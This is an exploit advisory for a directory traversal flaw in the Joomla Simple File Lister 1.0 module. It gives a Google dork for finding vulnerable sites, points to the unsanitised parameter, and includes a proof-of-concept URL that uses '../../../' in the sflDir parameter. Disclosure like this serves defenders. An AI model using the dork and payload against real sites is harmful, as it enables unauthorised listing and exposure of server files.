Joomla Simple File Lister 1.0 Directory Traversal

`# Exploit Title: Joomla Simple File Lister module <= 1.0 Directory Traversal Vulnerability  
# Google Dork: "Simple File Lister v1.0" "Files in directory"  
# Date: 2011-08-28  
# Author: evilsocket ( evilsocket [at] gmail [dot] com )  
# Software Link: http://extensions.joomla.org/extensions/core-enhancements/file-management/15793  
# Version: 1.0  
  
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Vulnerable code  
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[ helper.php line 51 ]  
  
function getDirContents($params, $sfl_dirlocation, $sfl_basepath, $sfl_maxfiles, $sfl_userlocation) {  
...  
...  
really messy code, generally speaking the variable $sfl_dirlocation which contains the directory to be  
read is not succesfully sanitized for relative paths  
...  
...  
  
  
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PoC  
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http://www.site.com/index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../  
  
To look for a valid url, just sniff the HTTP request sent from the module javascript code once a directory is clicked.  
  
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